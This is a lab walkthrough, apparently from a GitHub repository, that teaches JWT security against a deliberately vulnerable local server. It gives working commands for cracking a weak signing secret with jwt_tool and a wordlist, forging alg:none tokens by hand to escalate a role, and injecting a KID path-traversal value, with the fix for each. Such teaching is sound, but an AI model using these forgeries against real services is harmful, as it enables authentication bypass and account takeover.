Skip to content

Latest commit

 

History

History
514 lines (379 loc) · 14.5 KB

File metadata and controls

514 lines (379 loc) · 14.5 KB

Lab Walkthrough — JWT Security

Week 6, Lab 1 · About 90 to 120 minutes

Follow this guide from top to bottom. Every step tells you exactly what to type, what you should see, and what it means.


Before You Start — Install the Tools

Make sure you have these on your machine:

node --version      # must be v18 or higher
npm --version
python3 --version
openssl version

Install jwt_tool (you will use this to attack tokens):

pip3 install jwt_tool

Part 0 — Setup

Step 1: Clone the repo and install packages

git clone https://github.com/AlphaDevelopmental/JWT-security-lab.git
cd jwt-lab
npm install

Step 2: Create your environment files

cp .env.example .env
cp .env.vulnerable.example .env.vulnerable

Step 3: Add a strong secret to .env

Open .env in any text editor. You will see JWT_SECRET=REPLACE_WITH_A_64_PLUS_CHAR_RANDOM_HEX_STRING.

Replace that placeholder by running this command and pasting the output:

node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"

Your .env should look like this afterwards:

JWT_SECRET=3f9a1e7ab163aa9dfea15b4a21e7903b499f67230950b22c78e3cf9fc5f2d100d2868dbb1a922336cbd9036...
PORT=3010

The .env.vulnerable file already has JWT_SECRET=password123 — that weak secret is the point.

Step 4: Open two terminals and start both servers

Terminal 1:

node src/server.js

You should see: [*] Safe server running at http://localhost:3010

Terminal 2:

node src/server_vulnerable.js

You should see: [!] VULNERABLE SERVER STARTED — LAB USE ONLY

Leave both running for the whole lab.


Part 1 — Understand What a JWT Looks Like

Before you attack anything, let us understand the structure of a token.

Step 1: Log in and get a token

curl -s -X POST http://localhost:3010/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"correct"}' | jq

You should get back something like:

{
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIi4uLn0.abc123",
  "tokenType": "Bearer",
  "expiresIn": 900
}

Save the token value:

TOKEN="paste_the_long_token_string_here"

Step 2: Read the token by hand

A JWT has three sections separated by dots. Let us decode each one.

# Read the header (first section)
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null | jq

Expected:

{ "alg": "HS256", "typ": "JWT" }
# Read the payload (second section — your actual data)
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq

Expected:

{
  "sub": "1",
  "username": "alice",
  "role": "admin",
  "jti": "some-unique-id",
  "iat": 1712000000,
  "exp": 1712000900
}

What you should notice:

  • You decoded this with NO secret key. Anyone can read a JWT payload.
  • iat is the time the token was created (Unix timestamp — seconds since 1970)
  • exp is when it expires. Convert it: date -d @1712000900 It should be 15 minutes after iat.
  • There is NO home address. NO database ID. The payload is clean.
# Try to read the signature (third section) — it is binary
echo $TOKEN | cut -d'.' -f3 | base64 -d 2>/dev/null | xxd | head -3

You will see scrambled binary output. The signature is not readable text. Its only job is to prove the payload was not changed.

Step 3: Use the token to access a protected route

curl -s http://localhost:3010/api/me \
  -H "Authorization: Bearer $TOKEN" | jq

Expected: your user data returned.

curl -s http://localhost:3010/api/admin \
  -H "Authorization: Bearer $TOKEN" | jq

Expected: { "secret": "Top Secret Admin Intel", "admin": "alice" }

Now try with bob's token:

BOB_TOKEN=$(curl -s -X POST http://localhost:3010/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"bob","password":"password"}' | jq -r '.accessToken')

curl -s http://localhost:3010/api/admin \
  -H "Authorization: Bearer $BOB_TOKEN" | jq

Expected: { "error": "Insufficient permissions" } Bob has a valid token but the wrong role. He cannot enter.


Part 2 — Vulnerability 4: Private Data in the Token

Now switch to the vulnerable server.

Step 1: Get a token from the vulnerable server

VULN_TOKEN=$(curl -s -X POST http://localhost:3011/login | jq -r '.accessToken')

Step 2: Decode the payload

echo $VULN_TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq

You will see:

{
  "sub": 1,
  "username": "admin",
  "role": "admin",
  "home_address": "123 Hacker Way, Lagos",
  "internal_db_id": "DB_7782_PRIVATE",
  "iat": 1712000000,
  "exp": 4867600000
}

What to notice:

  • home_address is personal data. In a real app this would break GDPR and Nigeria's NDPR.
  • internal_db_id tells an attacker the format of your internal systems.
  • The exp year is 2124. The token is valid for 99 years.
  • You read all of this without the secret key. Just base64 decoding.

The fix is in auth.js: only put non-sensitive data in the token. If you need private data, look it up from the database using the sub (user ID) after verifying the token.


Part 3 — Vulnerability 3: Weak Secret (Brute-Force Attack)

The vulnerable server uses password123 as its secret. An attacker who intercepts one token can find this secret without ever touching the server — using a list of common passwords.

Step 1: Try to crack the secret

python3 -m jwt_tool $VULN_TOKEN -C -d /usr/share/wordlists/rockyou.txt

If you do not have rockyou, use a small test list:

echo -e "abc123\npassword\npassword123\n123456\nqwerty" > /tmp/test_wordlist.txt
python3 -m jwt_tool $VULN_TOKEN -C -d /tmp/test_wordlist.txt

Expected result: jwt_tool finds the secret — password123

What this means:

  • This attack runs entirely offline. No requests hit the server.
  • The attacker only needs one token (from a network capture, a log file, etc.)
  • Once they have the secret, they can sign any payload they want.
  • They could change their role from "user" to "admin" and sign it themselves.

The fix is in auth.js: the secret must be at least 64 random characters. No wordlist on earth contains a string like: 3f9a1e7ab163aa9dfea15b4a21e7903b499f67230950b22c78e3cf9fc5f...


Part 4 — Vulnerability 1: The alg:none Attack

This attack lets you forge a token with no signature at all.

Step 1: Use jwt_tool to run the attack

python3 -m jwt_tool $VULN_TOKEN -X a

jwt_tool will print several forged token options. Copy the one with a trailing dot at the end (the empty signature), for example:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjEsInVzZXJuYW1lIjoiYWRtaW4iLC4uLn0.

Step 2: Send the forged token to the vulnerable server

FORGED="paste_the_forged_token_here"

curl -s http://localhost:3011/api/admin_data \
  -H "Authorization: Bearer $FORGED" | jq

Expected: { "data": "Sensitive Admin Intel" } — the server accepted a fake token.

Step 3: Confirm the safe server rejects it

curl -s http://localhost:3010/api/admin \
  -H "Authorization: Bearer $FORGED" | jq

Expected: { "error": "Invalid token" }

Why it works on the vulnerable server: In auth_vulnerable.js, the verify call says algorithms: ['HS256', 'none']. The word none allows unsigned tokens.

Why it fails on the safe server: In auth.js, the verify call says algorithms: ['HS256']. none is not on the list. Rejected immediately.


Part 5 — Vulnerability 1 (continued): Change Your Role Manually

Now do the attack by hand without jwt_tool, so you understand each step.

Step 1: Build a forged header that says alg is "none"

FAKE_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
echo "Fake header: $FAKE_HEADER"

Step 2: Build a payload with a changed role

FAKE_PAYLOAD=$(echo -n '{"sub":1,"username":"admin","role":"superadmin"}' | base64 | tr -d '=' | tr '+/' '-_')
echo "Fake payload: $FAKE_PAYLOAD"

Step 3: Combine them — the signature section is empty (just a dot)

MANUAL_FORGED="${FAKE_HEADER}.${FAKE_PAYLOAD}."
echo "Forged token: $MANUAL_FORGED"

Step 4: Send it

curl -s http://localhost:3011/api/me \
  -H "Authorization: Bearer $MANUAL_FORGED" | jq

Expected: the server returns "role": "superadmin" — you invented a role that did not exist and the server accepted it.


Part 6 — Vulnerability 7: localStorage Warning

This one requires no tool. Just look at the login response.

curl -s -X POST http://localhost:3011/login | jq

Notice the "note" field:

{
  "accessToken": "...",
  "note": "Store this in localStorage for convenience!"
}

Why this is dangerous: localStorage is a place in the browser where JavaScript can save things. Any JavaScript on the page — including code an attacker injected — can read it with:

localStorage.getItem('token')

An attacker who finds an XSS hole in your website can steal every user's token in one line of JavaScript and send them all to their own server.

Look at server.js: the safe version gives no storage advice at all. The right approach is to use an httpOnly cookie — JavaScript cannot read those even if it tries.


Part 7 — Vulnerability 8: KID Header Injection

Step 1: Build a token with a dangerous KID value

# Create a header that includes the KID traversal string
BAD_HEADER=$(echo -n '{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}' \
  | base64 | tr -d '=' | tr '+/' '-_')

# Grab the payload from your existing vulnerable token
PAYLOAD=$(echo $VULN_TOKEN | cut -d'.' -f2)

# Send it (the signature will be wrong, but we want to see the KID check fire)
curl -s http://localhost:3011/api/admin_data \
  -H "Authorization: Bearer ${BAD_HEADER}.${PAYLOAD}.fakesig"

Step 2: Watch Terminal 2 (the vulnerable server's terminal)

You should see:

[!] Directory traversal attempt detected in KID header!
    kid value sent by attacker: ../../../../dev/null

What this means in a real attack: Some servers use the kid value to decide which file to load as the signing key:

const key = fs.readFileSync('/keys/' + header.kid)

With kid set to ../../../../dev/null, the server reads an empty file. The attacker signs their fake token with an empty secret. The verification passes. They are in.

The fix: never use kid as a file path. Keep a hardcoded lookup table:

const KEYS = { 'key-v1': secret1, 'key-v2': secret2 };
const key = KEYS[header.kid];

Part 8 — Check That the Safe Server Blocks Everything

Now run each attack against the safe server to confirm it is protected.

# alg:none token — should be rejected
curl -s http://localhost:3010/api/admin \
  -H "Authorization: Bearer $FORGED" | jq
# Expected: { "error": "Invalid token" }

# Bob's token on the admin route — should be rejected
curl -s http://localhost:3010/api/admin \
  -H "Authorization: Bearer $BOB_TOKEN" | jq
# Expected: { "error": "Insufficient permissions" }

# Manually forged token — should be rejected
curl -s http://localhost:3010/api/me \
  -H "Authorization: Bearer $MANUAL_FORGED" | jq
# Expected: { "error": "Invalid token" }

Part 9 — RS256: Two Keys Instead of One

Step 1: Create the two key files

Run these from the project root folder:

openssl genrsa -out private.key 2048
openssl rsa -in private.key -pubout -out public.key

This creates two files:

  • private.key — the signing key. Only the auth server should have this.
  • public.key — the verification key. Safe to give to any server.

Step 2: Look at the public key

cat public.key

This is safe to share. It looks like a block of text starting with -----BEGIN PUBLIC KEY-----. Post it on your website. Put it in your API docs. Give it to partner companies. It can only be used to CHECK tokens, never to CREATE them.

Step 3: See what the public key looks like as JWKS

node -e "
const { getPublicJWKS } = require('./src/auth_rs256');
console.log(JSON.stringify(getPublicJWKS(), null, 2));
"

This is the format that Auth0, Google, Microsoft, and all major login services use to publish their public keys. Any client can download it and verify your tokens.

Step 4: Think about the difference

With HS256 (auth.js):

  • If you have 10 servers all checking tokens, all 10 need the secret key.
  • If any one server is hacked, the attacker can create fake tokens.

With RS256 (auth_rs256.js):

  • Only the auth server has the private key.
  • All 10 other servers get only the public key.
  • If any one is hacked, the attacker gets the public key — which was public anyway.
  • They still cannot create fake tokens. Only the private key can do that.

Summary: What Was Broken and What Fixed It

# Vulnerability Where to see it How to attack it The fix
1 alg:none auth_vulnerable.js jwt_tool -X a Only allow ['HS256']
2 Algorithm confusion auth_vulnerable.js RS256/HS256 key swap Pick one algorithm only
3 Weak secret .env.vulnerable jwt_tool -C -d rockyou.txt 64+ random characters
4 PII in payload auth_vulnerable.js base64 -d the payload Only put safe data in token
5 No expiry auth_vulnerable.js Token lasts 99 years Use expiresIn: '15m'
6 No issuer/audience auth_vulnerable.js Token works on any server Always set and verify iss and aud
7 localStorage advice server_vulnerable.js XSS to read localStorage Use httpOnly cookies
8 KID injection auth_vulnerable.js Set kid to ../../../../dev/null Validate kid against fixed list

Questions to Think About

  1. If a user logs out, their token is still valid until it expires. How would you cancel it immediately?
  2. Why do we return the same error message for wrong username AND wrong password?
  3. If you had 20 microservices, would you use HS256 or RS256? Why?
  4. The KID attack requires modifying the JWT header. Why does that not break the signature check?
  5. What is the difference between a token being "encrypted" and being "signed"? Which one does JWT use?

Useful Links